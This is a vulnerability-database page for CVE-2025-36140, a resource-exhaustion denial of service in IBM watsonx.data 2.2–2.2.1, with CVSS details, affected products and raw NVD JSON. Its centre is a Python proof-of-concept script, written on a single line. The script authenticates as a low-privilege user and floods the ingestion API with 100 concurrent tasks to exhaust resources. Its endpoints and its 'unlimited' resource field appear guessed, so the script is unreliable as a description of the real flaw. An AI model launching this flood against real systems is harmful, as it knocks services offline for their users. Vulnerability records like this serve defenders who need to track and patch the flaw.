Security Vulnerability Report
中文
CVE-2025-36140 CVSS 6.5 MEDIUM

CVE-2025-36140

Published: 2025-12-08 23:15:48
Last Modified: 2025-12-10 19:56:15

Description

IBM watsonx.data 2.2 through 2.2.1 could allow an authenticated user to cause a denial of service through ingestion pods due to improper allocation of resources without limits.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:ibm:watsonx.data:*:*:*:*:*:*:*:* - VULNERABLE
IBM watsonx.data 2.2
IBM watsonx.data 2.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-36140 PoC - IBM watsonx.data Resource Exhaustion This PoC demonstrates how an authenticated user can cause DoS through ingestion pods. Note: This is for educational and authorized testing purposes only. """ import requests import json import time from concurrent.futures import ThreadPoolExecutor TARGET_URL = "https://watsonx.data.example.com" USERNAME = "low_privilege_user" PASSWORD = "password" def authenticate(): """Authenticate and get access token""" auth_url = f"{TARGET_URL}/api/v1/auth/token" data = {"username": USERNAME, "password": PASSWORD} response = requests.post(auth_url, json=data, verify=False) return response.json().get('access_token') def create_ingestion_task(token, task_id): """Create a resource-intensive ingestion task without limits""" headers = {"Authorization": f"Bearer {token}"} # Malicious task that consumes excessive resources task_data = { "task_id": task_id, "source": "large_data_source", "target": "ingestion_pod", "priority": "high", "resource_allocation": "unlimited" # Exploits the vulnerability } url = f"{TARGET_URL}/api/v1/ingestion/tasks" try: response = requests.post(url, json=task_data, headers=headers, verify=False) return response.status_code == 200 except Exception as e: return False def exploit_cve(): """Main exploitation function""" print("[*] Starting CVE-2025-36140 exploitation...") token = authenticate() if not token: print("[-] Authentication failed") return False print("[+] Authentication successful") # Create multiple resource-intensive ingestion tasks print("[*] Creating resource-intensive ingestion tasks...") with ThreadPoolExecutor(max_workers=50) as executor: futures = [executor.submit(create_ingestion_task, token, f"task_{i}") for i in range(100)] results = [f.result() for f in futures] success_count = sum(results) print(f"[+] Created {success_count} resource-intensive tasks") print("[*] System resource exhaustion in progress...") return True if __name__ == "__main__": exploit_cve()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36140", "sourceIdentifier": "[email protected]", "published": "2025-12-08T23:15:47.720", "lastModified": "2025-12-10T19:56:15.180", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM watsonx.data 2.2 through 2.2.1 could allow an authenticated user to cause a denial of service through ingestion pods due to improper allocation of resources without limits."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:watsonx.data:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.2.0", "versionEndExcluding": "2.2.2", "matchCriteriaId": "F19D6026-E13B-476C-85F3-14BA6C05D5F6"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7253932", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}